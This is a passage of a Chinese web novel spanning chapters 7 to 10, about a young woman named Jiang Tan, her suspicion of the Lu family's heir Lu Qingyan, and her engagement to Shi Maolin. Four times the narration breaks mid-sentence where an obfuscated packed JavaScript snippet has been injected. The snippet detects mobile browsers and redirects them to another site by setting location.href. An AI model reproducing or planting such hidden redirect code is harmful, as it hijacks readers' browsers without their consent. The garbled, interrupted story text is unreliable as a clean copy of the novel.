周蝉衣也不拐弯抹角,讽笑说:“我就不信,你不想嫁进陆府。又是长生菜,又是万寿汤……我不是沈芳茵那个蠢货,风头都教你出尽,谁还会注意到我!” “周小姐,这世上有人嫁进高门朱户,自然也有人想庸庸碌碌,安稳一生。不管你信不信,妙仪就是这样的人。” 姜昙掩唇咳嗽了两声,打算离开。 可一扭头看到周蝉衣伤心愤怒的脸色,不由多说了几句:“我十七岁定亲,原本十八岁就要出嫁,可是祖母却病逝了,于是守孝三年,婚事也耽搁了三年。如今我二十岁,已经比陆大公子要年长许多,万不可能嫁给他了。” 这次离去,周蝉衣再没追上来。 走过拱门,来到后花园,经过一池湖水。 紫珠犹豫着说:“其实,周小姐也怪可怜的,听说周家原本是个富户,可周老爷出海做生意翻了船,连尸骨都找不到,周夫人整日哭,最后哭瞎了眼,又病死了……” 来到扬州几个月,姜昙从没有听说过,这里有姓周的富户。 周氏夫妇死去后,周氏的产业被瓜分殆尽,恐怕早已冠上别家的名字了。 姜昙默默听完,不做评价,只问:“从哪听的这些?” 姑娘一向喜静,好像不喜欢旁人扯着家长里短的事来听。 紫珠讷讷:“王婆子说的……” 姜昙说:“那把她请到我们院里,让她再多说一些吧。” 紫珠瞪大眼睛:“啊?” . 傍晚时分,太阳落山。 晌午的暑气刚下去,此刻院子里正是凉快的时候。 紫珠从井里捞上来果篮子,将里面的寒瓜、葡萄装在果盘里,另一手端了个瓷壶,笑着挤进桌子。 “王嬷嬷,来,多喝点,这是我们姑娘制的酸梅饮,在井里放了一天呢!” 王婆子看向紧闭的厢房:“哎,你家姑娘不在吧,可别吵着她。” “不在。”紫珠笑说:“茵姑娘叫她过去呢,估摸今晚不回来了。” 王婆子放心了。 “今个儿老夫人高兴,特地让大姑奶奶和茵姑娘搬到她那院里去,又给了不少好东西。姜姑娘也算得了脸,是该去沾沾喜气。” “瞧您说的,我家姑娘算什么,得脸的是茵姑娘。那是亲亲的孙子孙女,老夫人能不疼嘛?” 王婆子一口吐出果核,意味深长地说:“那可不见得呦。” 紫珠不动声色地,朝厢房那边的窗户看了一眼。 接着一副笑脸,不停地给王婆子倒酒:“这是什么缘故?” 酒意上头,王婆子晕晕乎乎。 “譬如那望京城的国公爷,还有他那儿子,瞧着是亲的,实际上国公爷是庶子,他那儿子是庶子的庶子。别看当了国公爷,也不得老夫人喜欢。” “国公爷生的庶公子,是个什么来历?” “能有什么来历?瘦马肚子里爬出来的贱种,国公爷原本是不想要的,可后来没儿子,只好接回来。” “可以前没听说,有这么一位庶公子啊?” “自小住在佛寺,大和尚那里记名的俗家弟子,前几年才接回来。” “他如今几岁?” “不多不少,二十岁。” “从未去过苏州府?” “一直在扬州。” 最后一个问题,有些奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572394|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫珠又看了一眼厢房那处,终于还是问出:“这位陆公子,生来可有隐疾,譬如……生来六指?” 王婆子仔细想了想:“似乎是有一个隐疾,却不是手指有什么病……” 送走醉醺醺的王婆子,紫珠回屋,看到姑娘正坐在窗边。 “姑娘,按照你教我的,都一一问过了。” 一个都对不上。 姑娘说的那个人,生在苏州,长在苏州。自小锦衣富贵,一身的纨绔恶习,今年应是十八岁。 可陆公子自小上山做和尚,整日粗茶淡饭,佛经念了十几年,前几年才接回来。 听说在读书一道很有天赋,过目不忘,还拜了有名的大儒为先生,今年二十岁。 前者劣习累累,恶贯满盈。 后者慈悲良善,谦逊清苦。 怎么看,都是毫无干系的两个人。或许是姑娘看花了眼,或许只是长相相似而已。 这世上长得像的人多了去了。 何况陆公子五指齐全,扬州府从没有传言说,他天生六指。 更多的,是关于他那个瘦马出身的妓子娘亲。 姜昙闭了闭眼。 她也觉得是自己多想了,可她控制不住不去多想。 夜幕降临,天色彻底暗了下来。 夏日的夜来得慢,可一旦来临,就是浓墨般的黑。 油灯静立桌面上,照亮了一处地面。 没照亮的地方,似乎有什么极为可怖的东西蛰伏着,静待时机一到,就会疯狂爬上来。 姜昙说:“他能跑得了第一次,就能跑第二次。神不知鬼不觉替换了人犯,等到从苏州逃出去后,他来到扬州,跑到了山上的庙里,杀死了原本的陆公子,顶替他的身份,成为新的——” “姑娘!” 紫珠听不懂姜昙在说什么,她并不知道姑娘之前发生了什么事。 可是姜昙整个人就是很不对劲。 她周身弥漫着一股绝望的情绪,将所有的东西往最坏的地方想去,越想越荒唐。 可是她用这么平静的语调说出来,又有一种让人不得不信服的力量。 如此矛盾,才是可怖。 “姑娘。”紫珠语重心长地拢住姜昙的手,担忧地看着她:“你是不是犯了魔怔了?” 姜昙闭上眼,蜷缩着。 紫珠拍着她的肩膀:“我不知道姑娘三年前在吴江究竟经历了什么,姑娘不愿意说,我也不会问。我只希望姑娘好好的,夫人在世的时候常说,人要往好处看,可姑娘总是不快乐。您还年轻,还有这么长的日子,怎么能让那些不开心的人和事耽误了自己?总是这么悲伤,以后该怎么好?” 小的时候,为了一块桂花糕,或是一件新衣服,姑娘都能高兴好半天。 可现在,好像什么都不能引起她的兴趣了。 姑娘不爱说话,不爱出门。她喜欢睡觉,可总是惊醒。 大夫说,姑娘病了。 紫珠不会治病,只能陪着姑娘。 她摸着姜昙冰凉的手,说:“姑娘,快好起来吧。” 姜昙眼角有泪意,许久之后说: “我听你的。明日不用去抓新药了,以后我不喝药了。” 至于陆庸,她往后尽量避开。反正成亲之后,就再无交集了。 “那若是还睡不着,怎么办?” 紫珠忧愁地想了会儿,高兴起来:“睡不着也没有关系,有施公子陪着你。险些忘了告诉姑娘,今日施公子差人递了消息进来,说是明日就回扬州来了!” 8. 第 8 章 翌日,紫珠一大早起床,准备了糯米、红豆等物。 边推着姜昙去小厨房,边说:“施公子难得有空来一趟,每回不是送布匹就是送珠钗,姑娘也该表示一回。回赠金银太俗,不如就做姑娘最擅长的海棠糕吧!” 姜昙想着有道理,就应了。 海棠糕的做法很是简单,里面包括着糯米和红豆,糕点捏成花瓣状,做成后如同一朵朵海棠花。 做完海棠糕,姜昙无师自通地做起了山楂糕。 紫珠问:“姑娘做这么多,施公子吃不完怎么办?” 姜昙说:“是给施夫人的,上次施茂林说施夫人肠胃不适,山楂健胃消食,化浊降脂。做成糕点,免了吃药之苦。” 紫珠笑着叹气:“原以为姑娘性子木讷,没想到还是很懂人情世故的嘛!施公子这下有福气喽,施夫人也一定会喜欢姑娘的。” 姜昙轻笑出声:“贫嘴。” 糕点装好,姜昙摆出棋盘。 施茂林上次来说,正在学棋。若是他有兴致,她可讨教一二,助他进益。 但姜昙没等来施茂林的消息,等来了沈芳茵。 沈芳茵如今春风得意,搬到陆母的院子里,又多了两名丫鬟服侍。 一行人浩浩荡荡出现在门口,显得院子拥挤不堪。 沈芳茵让其余人在外面等着,带了青儿进屋,兀自关上院门。 “连件像样的摆设都没有,表姐的日子过得可真清苦。” 沈芳茵在屋子里神气地转了一圈,飘逸的衣摆上,荡起阵阵价值不菲的香风。 “这屋子里怎么一股药味?” 沈芳茵皱了皱鼻子,略带嫌弃地斜眼打量姜昙:“表姐的病还没好,大热天的,别人穿薄纱,你竟穿薄袄。” 姜昙说:“久病不愈,一时半刻好不了。表妹若是不喜欢,可离远一些。” 院子里响起一连串的狗叫声。 那是沈芳茵方才带来的一条白毛狗,漂洋过海被外邦商人运到大昭,价值千金。 于是沈芳茵给它取名叫千金。 “千金,过来!” 白毛狗充耳不闻,对院子里的蔷薇花很感兴趣。 刚来到陆府时,这里破败不堪。紫珠和姜昙收拾了两日,才将院子清扫干净。 院子单调,姜昙说不必管它。 可紫珠不愿,硬是从不知谁的住处讨了些蔷薇花。花藤生命力顽强,短短三月,爬满整个花架。 千金咬着花藤,凶狠地撕扯着。 沈芳茵指挥青儿把千金抱过来:“吃的什么脏东西,快吐掉!” 姜昙皱了皱眉,正要说话。 院子里青儿已经把花藤扯了下来,丢在地上。 紫珠满眼泪意,看着姜昙,没有吭声。 她还记得姜昙说过,人在屋檐下,不得不低头。不去招惹陆府的人,更不能招惹沈芳茵。 姜昙看向沈芳茵,隐约有些不耐:“表妹已经得偿所愿,今日找我什么事?” 沈芳茵转着腕上的鎏金镯,青儿抱着千金出去,烦人的叫声终于听不见了。 沈芳茵问:“信呢?” “什么信?” “情信!这个月的情信,写好了没有?” 这下姜昙想要装作不知,再不能了,沈芳茵粗鲁直白得过分。 姜昙摆弄棋子:“这个月已写了两封出去,足够了。” “你不想要武举师父的名帖了吗?” 这个威胁,沈芳茵屡试不爽。 姜昙蓦地抬眼,静静地看着她。不知怎么,沈芳茵竟有些怕。 她突然想到,娘亲陆秋水跟她说过的话。 外祖母的寿宴,其实是一个不算重要的日子。 这样的日子,所有的人都会献出最好的礼物,送给外祖母。 无论是什么礼物,外祖母都会喜欢,却也不会太喜欢。 即使是她亲手做的菜肴。 沈芳茵听不懂。 但沈芳茵知道的是,在这一堆礼物中,姜昙让自己做到了第一位,外祖母心中的第一位。 因为这个缘故,她穿上了名贵的绸衣,搬进了华贵的屋子,每一顿吃的都是珍馐美食。 比嫡亲的孙女陆芙还受宠。 而陆芙的娘刘香君,只有站着布菜的份儿,周蝉衣更是连屋子都进不来。 这一切都是因为姜昙。 她突然不敢随便对她颐指气使了。 沈芳茵逃避姜昙的眼神,说:“送完这一封,我就对他表明心意,他一定很惊讶是我。他本来就喜欢我,知道是我给他写了三个月的情信,一定会更喜欢我的!” “他”,指的是陆大公子。 沈芳茵心心念念,姜昙却连见都没见过,也不知道他的名字。 姜昙不明白沈芳茵的行为。 她说是从一本书上看来的——红叶传情。 在未知身份的情况下,一个男子收到一个女子的红笺,生出奇思遐想,恋上写信的女子。 红笺寄情思,传信好姻缘。 可沈芳茵不会写字,她也不愿习字练字,便让姜昙写。 姜昙实在不懂,就算大公子真的喜欢沈芳茵,但成婚之后,东窗事发,发现妻子不识字,到时候她又该如何收场? 不过,这与她无关。 沈芳茵说:“这是最后一次。” 从今以后,再不用写了。 姜昙强调:“这真的是最后一次。” 沈芳茵口述,她提笔写着,遇到晦涩之处,姜昙自然引用骈句诗词。 至于未来成为沈芳茵夫君的陆青檐如何质问,就不是她管的了的了。 她亦不会承认。 等写完,沈芳茵连忙收起来。 过了会儿又把信封拿出来:“这里,写上:青檐哥哥亲启。” 姜昙皱着眉照办。 她突然想起一件事:“茵表妹已得了陆老夫人欢心,大奶奶又是个性子随性的,嫁给大公子是板上钉钉的事。为何还要写信?为何不亲自登门,去告诉他?” 拿到信,沈芳茵底气又足了些,冷哼一声:“谁说信是给大表兄的!” 姜昙细思之后,有些惊讶:“陆青檐不是大公子?” “真笨!大表兄是大表兄,青檐哥哥是青檐哥哥,他们当然不是一个人!” 所以三月以来,情信一直是写给陆青檐的,而非大公子的。 姜昙有一股不好的预感,艰难地问:“陆青檐……是谁?” “当然是庸表兄了。” 陆青檐,陆庸。 青檐是他的字。 姜昙眼前一黑,她蓦地抢了沈芳茵手里的信纸,撕了个干净。 “我不写了。你听着,前三个月的信,都与我无关!” “你疯了?” 沈芳茵不可置信地看着她,姜昙推她出去,将她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572395|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关在门外。 “真的是疯了!” 沈芳茵踢了一下门扉。 门内,姜昙觉得脑袋发晕。 真想不到,陆青檐竟然是陆庸,写了这么久的信,竟然是给他写的。 沈芳茵素来是个不靠谱的人,当初就不该答应她那荒唐的要求。 屋内传来狗叫。 沈芳茵那只白毛狗不知什么时候溜了进来,跳到了桌子上,正在吃她之前做好的海棠糕。 姜昙将盘子挪开。 千金嚣张地叫,丫鬟们从来捧着它,还没有人敢不给它吃的。 姜昙盯着它片刻,似乎妥协了,将盘子推过去。 千金吃了一枚海棠糕,院外青儿焦急地喊:“千金,你在哪?” 白毛狗从门缝里跑了出去。 “那狗实在可恶,咬了咱们的蔷薇花,还踩死了我刚种的花,还在咱们的墙角撒尿……” 紫珠一连说了好几个还,推门而入,发出一声尖叫:“天呐海棠糕!那是要给施公子吃的,那只坏狗!姑娘你怎么不拦着些……” “厨房里还有,再拿就是了。” 紫珠撅着嘴出去,很快又跑回来,欢快地说:“姑娘快出来,施公子来了!” . 施茂林在竹林等她。 姜昙提着食盒,紫珠推了她一把,随即离得远远的。 与上次比,施茂林又黑了,他腼腆地笑了笑:“妙仪。” 一手背在身后,声音紧张。 她不该在意的,施茂林或许又买了什么小玩意儿,只想给她个惊喜罢了。 可姜昙似乎做不到。 许久不见,她该表现得激动和更高兴一些。问他师傅的训练苦不苦,打拳累不累,看他好像瘦了,吃过饭了没有。 但姜昙一句都说不出来。 她只是一眼不错地,盯着他背在身后的手。 许久,她忍不住问:“你在背后藏了什么?” “真是瞒不过你。” 施茂林将手探出来,姜昙松了口气。 只是个镯子罢了。 不是匕首、毒药。 施茂林捉住她的手,惊喜地发现,妙仪并没有下意识地躲。 他为她戴上,开心地问:“好不好看?” 天青色,透光细看,藏着一副山水画似的。 “好看。”姜昙的嘴角沁出极轻的一丝笑。 “拿着什么?不嫌重么?” 紫珠千叮咛万嘱咐的那些说辞,姜昙还未来得及说出口,施茂林已主动拿过食盒掀开。 “海棠糕?”施茂林受宠若惊,两口吃了三个:“给我的?真甜,真好吃!” “你喜欢,我还做给你吃。” 施茂林笑得露出一口白牙,脸黑黢黢的。 施茂林是个话密的人,两人在一处时,总是他说着,姜昙听着。 他说着师傅有多么严厉,自己的工夫又精进了多少,拿刀拿剑如何威武,只是箭术骑射方面还欠缺云云。 姜昙任由他握着手,静静地坐着。 忽然,他捏了捏她的手,郑重地叫了一声她的名字。 姜昙回过头,施茂林认真地看着她:“妙仪,今年九月,枫叶最红的时候……我们成亲吧。” 墙头之上,鸟儿啁啾。 院墙另一边,陆庸,陆青檐“啧”了一声,很不耐烦。 “那边什么动静?” 9. 第 9 章 院墙另一头,密密地站着六七余人。 亭中石桌石椅,只坐着一人,其余皆恭敬站着。 亭外石阶上,扬州通判公孙文正禀报: “姚知府公务繁忙,却在天香楼包了厢房,备上等酒席一桌,令姚公子作陪,若长公子不弃——” “我嫌弃。” 公孙文噎住:“……老朽年老耳聋,方才长公子说的是?” 陆青檐不耐皱眉:“我说,住嘴。” 一声轻笑传来。 公孙文朝声源看去,那是一个站在陆青檐身后的书生。 他打听过这书生,说是陆长公子的谋士,叫邓显。 邓显笑说:“公孙通判,你的声音太大了,压过那边的声音了。” 公孙文顿时不敢吭声。 压过哪边的声音? 一片寂静中,院墙那头,传来了细微的说话声。 . 施茂林攥了攥手心,都是汗。 因为常年习武,他的胳膊粗壮有力。一条胳膊比得上妙仪两条胳膊宽,整个人十分高大。 站起来的身量,足以将妙仪整个盖住还有余。 可不知为什么,每次见到单薄的妙仪,他就手心直冒汗,口干舌燥,胸口像揣了只野兔子。 姜昙没有说话,似是在出神,施茂林又问了一次:“妙仪,成婚吧。” 姜昙想起了娘亲。 “阿昙,我们做女人的,就盼着嫁一个好夫君。只要夫君待你好,再生个一儿半女,日子蜜里调油,这一辈子就圆满了。” 她又不合时宜地想起了舅舅。 “姜昙,人贵自重。身为女子,做到这句话更为艰难。身边多是轻你贱你之人,你不可任人宰割,更不可得过且过。” 施茂林是一个好夫君吗? 姜昙仔细打量他。 施茂林不停吞咽口水,他真的很紧张,好似她一句话就能定他的生死一样。 他应该是一个好夫君。 习武之人,整日比划拳脚,戾气横生。可施茂林在她面前,总是压着声音,轻声细语。与她说话时,也会紧张忐忑。 他对她有情。 守孝三年,他一直等她出孝,不曾变心。在她遭遇剧变、心情跌宕之时,他时不时守在她身边。 他对她有义。 有情有义待她好,不轻她贱她,怎么不算一个好夫君。 更何况,若不是有他的守护,她那个好母亲,恐怕早就撺掇瞎了眼的父亲,把她贱卖给哪家的员外做填房了。 唯一的缺点,也只有爱喝酒这一条,醉后冲动易怒,姜昙见过一次。 “好。” 姜昙应了。 轮到施茂林愣怔了,他变成了个结巴:“你、你说什么,你、你……答应了?” 姜昙笑了笑:“不过你先前不是说,等到中了武举人,再与我成婚吗?” 施茂林欣喜若狂,将姜昙高高地抛了起来。 “你答应了!你答应了!” “不过你也要答应我,以后不许醉酒,我不喜欢醉酒之人。” 醉酒之人,她见过最可怕的,不愿意再见了。 “好,我也答应你!” 施茂林接住姜昙,高兴地说:“你放心,成婚之前,我一定中个武举人回来。不必再担忧了,我已经找到了门路!” . 公孙文眼神游移。 亭子里的人安静坐着,亭子外的人安静站着,而台阶下的他却有些坐立难安了。 院墙那头是一对野鸳鸯。 先是私定了终身,后又嘀嘀咕咕地说起了私密话。 从出嫁前男方的聘礼、女方的嫁妆,说反了后家中的药田、院里的秋千…… 公孙文实在听不下去了。 后面的因着声音渐小,也听不清楚了,那对野鸳鸯离开了。 公孙文酝酿了半天,鼓起勇气再次开口:“长公子……” 长公子背后那邓显忽然叹了口气:“哎,陆府的二奶奶真是巧思,把公子安排在这等住所,说是清净,分明就是偏僻之所。这等地方,最容易招惹野鸳鸯和孤魂野鬼,二奶奶莫不是怕公子住着太无趣?” 邓显向亭中坐着的人提议:“长公子,可要把那两人抓来,故事要当面听才有意思——” 话到此处,邓显突然转了个弯,笑吟吟问:“公孙通判,您说是不是?” 公孙文满头大汗。 陆府二奶奶刘香君,和姚知府的夫人沾亲带故,都姓刘。 故而姚知府算是陆长公子的姨夫。 姚知府称公务繁忙,实际上是自恃身份,不肯低身迁就,所以才叫姚公子作陪。 可这…… 国公府长公子哪是好招惹的。 神仙打架,小鬼遭殃! 陆青檐并不说话。 他抚摸着手下的狼狗,那狼狗皮毛油光水滑,在他手下乖得像猫,可外表着实与猫不符。 与其说是狗,不如说是狼。 眼神凶悍,令公孙文胆寒不已。 这时,陆青檐随意从桌上拿了个什么,丢了出去。 狼狗猛地扑出去。 公孙文下意识就要跑。 陆青檐慢悠悠地说:“公孙通判,我劝你不要动。我这狼犬一天要吃六斤生肉,俱是活物。今个儿还没喂过,你若是动了,保不齐它将你当成活物,咬上一口两口。” 六斤!包成饺子,他能吃半个来月! 公孙文不敢动了。 他感觉到有重物压在背上,脖颈处有湿热的呼吸,扑哧扑哧的低吼声。 是那头狼犬,张口能把他脖子咬断,整只趴在他后背,竟快比他还要高了。 “下官、下官……长公子,下官有事要奏。” “说。”懒洋洋的声音。 公孙文颤巍巍探出手,呈上一个檀木盒子。 邓显拿过盒子,打开,送呈至陆青檐面前。 盒子里放的是文房四宝,金光闪闪,全是用金和玉做的。 公孙文听说,陆长公子最爱金银,也爱文墨,便想了这么个简单粗暴的办法。 “公孙通判真是个妙人。” 陆青檐收了,笑着随意扔在一边。 那狼犬从公孙文的背上下来,乖巧趴回陆青檐脚下。 公孙文方才松了一口气,便听陆青檐又叫他,心再度高高提起来。 “通判,我托你件事,回去问一问姚公子。” “……公子言重。” “四月二十七日,我乘着一艘小船快到扬州时,正在船头坐着,忽被另一艘船撞了个踉跄。” 公孙文想,谁那么胆大包天,敢招惹他? 紧接着,陆青檐道:“那船上走出一个公子,自称是扬州知府姚大人的儿子。说是见我相貌,甚为倾慕,邀我船上夜话。” 陆青檐慢条斯理地说:“所以我托你问一问姚公子,究竟何时邀我去夜话,左右不见人,莫非是有了新欢,忘了我?” 公孙文简直要跪下了。 这造孽的姚公子! “下官、下官……” 公孙文原地抖了半天,忽听得一阵狗叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572396|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一条白毛狗出现在眼前。 还未看清楚,陆青檐脚边的狼犬箭一般地冲出去,撕咬着那只白毛犬。 两息的工夫,狼犬回来,一嘴的白毛和鲜血。 公孙文两眼一翻。 邓显踢了踢地上的公孙文,噗嗤一笑:“长公子,通判睡着了。” 陆青檐置之不理,拿起桌上的书,专心看起来。 外面传来呼喊声:“千金——千金——” 狗主人找来了。 “吵死了!” 陆青檐皱眉,身边的刀疤脸护卫刘武出去。 片刻之后,一个昏死的丫鬟被刘武提着回来,丢在地上。 刘武拿刀比划了下,正想问主子,是否要杀了。 却见陆青檐摩挲着书角沉思:“对了,那人……” 邓显补上:“那对野鸳鸯,还是野鸳鸯里的女子?” 不是她。 陆青檐有一种奇怪的感觉。 眼前好似要闪出什么画面,却又想不起来。 陆青檐闭了闭眼,仔细回想,鼻间弥漫过若有若无的香气。 他睁眼:“杜衡香,去找佩杜衡香的人,在陆府。” 邓显问:“是丫鬟?” 那日寿宴上,陆青檐只闻到了一股香味。那味道离他很近,微微起身时,还能看见一片衣角。 杜衡香。 站起来时,却什么都没有看见。 陆青檐说:“不管她是不是丫鬟。” 哦。 邓显明白了,那就是都要查。 陆府上下,凡是女人,包括陆老夫人在内,全部查过一遍。 邓显笑了笑:“这么些年,除了那一位,还是第一次看到大公子,这么费尽心思找一个人。” “别跟我提他!” 陆青檐咬牙切齿。 他又头疼了,皱眉揉着脑袋。 刘武看了看主子,决定还是不问了。 他头疼的时候,谁都不敢吭声。 “我饿了。” 陆青檐丢开书,邓显连忙接住。捞过来一看,果不其然,又是春宫图。 烫金的书封,精描的内页。 一本几十两。 他一站起来,所有人都跟着动。尤其是听到主子说饿的时候,如临大敌。 邓显和刘武对视一眼,俱都小心翼翼。 下人直接将马牵到了府里,陆青檐翻身上马。 邓显忽然想起一件事:“三公子晌午递了信过来,说要举荐一位朋友给公子。” 三公子叫陆昂,其父亲属于陆府的另一脉。 稀奇得很,正儿八经的兄弟亲人对他弃之敝履,反倒是这个另一脉的堂兄弟与他更亲近。 陆青檐想起宴席那天,陆昂在门外拦住自己,说有事要谈,约莫就是这件事。 陆青檐说:“转告他,让他那个朋友独自来天香楼。我可以看在他的面上,见他朋友一面。可能不能让我答应他所求之事,要看他朋友的本事。” 邓显称是。 陆青檐对陆昂的朋友起了兴致,问了一句:“那人叫什么?” 邓显想了想:“施茂林。” 话一出口,便是一顿。 “巧了,方才墙头那边的野鸳鸯,其中的男子就叫这个名字。” 陆青檐勒马,忽地笑了:“有意思。不去天香馆了,带他来一丝湖。” 那可真是有意思。 一丝湖是青楼画舫。 前脚定了终身,后脚就带人去一丝湖,不知道那野鸳鸯的另一人,会怎么想呢? 10. 第 10 章 待一群人走后,地上昏死的丫鬟睁眼。 她是刚到茵姑娘身边伺候的粉黛,专门买来伺候狗主子的。 方才那人打昏她,她其实半道就醒了,只一直装昏。 粉黛抖着手去摸白毛狗,那狗却连身子都凑不齐,只剩一颗头在外面,还是狼犬嚼不动吐出来的。 “千金……” 粉黛呜呜哭泣,却不敢大声,怕那群人去而复返。 千金原本好好的,突然就上吐下泻,乱拉乱尿。 可千金根本没吃什么,吃的都是往常吃的,以前从没有出现过问题。唯一的可能,就是先头跟着茵姑娘出去了一会儿。 或许是那个时候,吃错了什么东西。 可粉黛是万万不敢质问茵姑娘的。 但茵姑娘却以为,是她没能照顾好千金,气得把千金丢出来,让她清理干净了再弄进去。 如今这样,她回去可怎么交差啊? 杜衡香。 粉黛脑海中突然浮现出这三个字。 方才那群人说,他们要找一个佩杜衡香的女子。 粉黛想到了什么,慢慢擦干眼泪。 沈芳茵正在书房内写字—— 青檐哥哥。 简简单单的四个字,她却怎么都写不好。甚至是将姜昙撕碎的纸片拼起来,用白纸在上面描,也描不成样子。 沈芳茵蓦地抓起纸,揉成纸团扔出去。 不写了! 正生气,忽然瞥见门外晃的人影,沈芳茵更生气了: “粉黛,你在外面鬼鬼祟祟干什么呢!” 粉黛吓了一跳,她惯常是这个懦弱的样子,说她一句就抖得跟个筛子似的,沈芳茵压根儿不奇怪。 粉黛说:“奴婢、奴婢来拿干净的布巾,千金又尿了……” 沈芳茵想起那条狗,就恶心的不行。 畜牲毕竟是畜牲,不通人性,把她的被子绸衣都拉得臭烘烘的。 沈芳茵嫌弃地说:“快去!这两天好好看着那狗,别带来我眼前!” 粉黛喏喏应是,离开了。 沈芳茵继续对付那四个字,坐了一会儿,她想到一个好办法,从绣篮里翻出一个荷包。 荷包里绣着她曾经的作品,正好是四个字——青檐哥哥。 绣的痕迹和字迹不一样,这总说得过去了。 沈芳茵满意地将信封丢掉,仔细地将书信装起来。她还不放心,把书信拿出来,最后看一次。 嗯,字迹赏心悦目。 姜妙仪真是蠢!只知道撕信封,没想到吧,信封和书信,她是分开装的。 书信还好好的。 一会儿她就送出去。 青檐哥哥。 沈芳茵甜蜜地让这四个字在唇齿间淌过一遍又一遍。 夜幕降临扬州府。 施茂林手足无措,站在湖边。 一丝湖,是这里么? 他怎么从来没听说过这个地方,名字取得奇奇怪怪,来往的人也…… 不大正经。 湖上的一艘艘船抵在一处,时不时有女子登船,腰肢拧得像游行的蛇。船上传来丝竹声和娇笑声。 这里似乎……是那种地方。 施茂林想明白后,脸上更加不安了。 这时,又有人登船。 一阵香风停在施茂林身边,娇滴滴的声音贴上来:“公子,一个人站这里,不冷清吗?” 施茂林还没看清那女子长得什么样,她的手已摸了上来。 风月场的女子已是老手,一眼看出他是新人。 一手往上,从衣襟探进去。一手往下,扯松腰带,捞了一把。 施茂林称得上一个五大三粗的汉子,受惊般地往后一跳,扭头就跑。 子扬分明说这是他的兄长,他的兄长料想和他一样,是一个品性端正,路见不平拔刀相助的人! 怎么会约他在这个地方见面! 身后那女子讨了个没趣,撇嘴骂道:“呸,没种的穷鬼!” 兀自上船去了。 施茂林却停住步子,惊醒般回过神来。 他险些忘了,他来此处是做什么的。他想中武举人,若有可能,今生还想做武进士。 可这世道,单凭功夫是不行的。若没有熟识的保举人,他永远也中不了举,做不了官。 一辈子都是个没本事的穷鬼,就连妙仪也要跟他过苦日子。 施茂林再度看向了灯火通明的画舫。 片刻之后,他心一横,登船而去。 . 一丝湖上,最大的画舫之内。 公孙文哆哆嗦嗦喝了杯酒,斜觑上首那位的脸色。 陆青檐手边是一把琴,随意拨弄两声,面无表情,不知在想什么。 近一年来,陆青檐这三个字,传遍了大江南北。 民间百姓或许闻所未闻,但凡是朝廷中人,无人不知他的名字。 左军都督府陆青檐陆都事,从七品而已。 其父陆秋松,也不过是靠着救过先帝的功劳,混了个国公的位置。如今新帝登基数十载,陆国公庸碌无为,国公府跟着日渐败落。 原本,落败国公的庶子,年仅十九岁,怎么也不会有这样的造化。 可他的义父是闫慈,正二品的礼部尚书,深受皇帝器重,是举足轻重的宠臣。 闫慈无子,只有三个义子。 其余两位沉寂无名,只有这一位出现在人前。 也只有这一个,被闫尚书亲口称赞过:“恨不得认为亲子!” 近来有消息说,闫慈将取代许道成,成为内阁新的首辅。 闫、许两党久已不合,近日斗得尤其厉害。 关键之时,闫慈宠信的义子来到扬州府,怎么能不让他多想? 陆青檐许是奉了闫慈的什么命令,他来,就是闫尚书亲临。姚知府看不清楚形势,可公孙文怎能不好好伺候? 但这位的脾气实在太古怪了。 扬州最妖娆的舞姬都在这里。青涩的如初春嫩芽,能掐出水来,火辣的如异域玫瑰,身姿妖娆。 一个个睁着小鹿般的眼睛,俱穿着薄纱在他周围转。 可这位俊秀年轻的贵公子,从出现的那一刻就懒洋洋的,似乎对什么都不感兴趣。 舞姬怕他手边的狼犬,加之他眉间始终不散的阴郁之色,一步也不敢靠近。 公孙文实在摸不准他的心思。 从见他第一眼起到现在,只有在收到纯金的文房四宝时,他才说了一句有意思。 “公孙通判?公孙通判?” “啊?” 怀中的舞姬推了推他,朝首位之人努嘴。 公孙文回过神来,发现陆青檐在看他,顿时吓了一身冷汗,连连告饶。 陆青檐问:“公孙通判在想什么,这么入神?我不是让你传话给姚公子,人在何处?” 怀中舞姬一声惊叫,公孙文朝一旁看去,那只狼犬又来了! 被这野兽的眼神看着,公孙文冷汗涔涔而下。 “姚公子他……” 出了那档子事,公孙文哪敢叫姚公子来。 于是一听说陆青檐要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 